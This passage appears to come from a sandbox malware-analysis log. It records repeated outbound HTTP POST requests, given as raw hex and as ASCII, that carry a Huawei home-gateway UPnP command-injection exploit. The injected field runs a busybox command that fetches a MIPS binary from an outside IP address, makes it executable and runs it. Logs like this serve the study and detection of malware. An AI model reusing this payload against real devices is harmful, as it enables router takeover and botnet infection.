6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:17.864303112 CET	951	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:19.816040039 CET	1006	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:23.751486063 CET	1116	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:31.686503887 CET	1343	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.300339937 CET	1762	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272074938 CET	2603	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	43052	156.241.73.173	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:13.677494049 CET	2484	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:15.680387020 CET	2543	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272097111 CET	2604	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 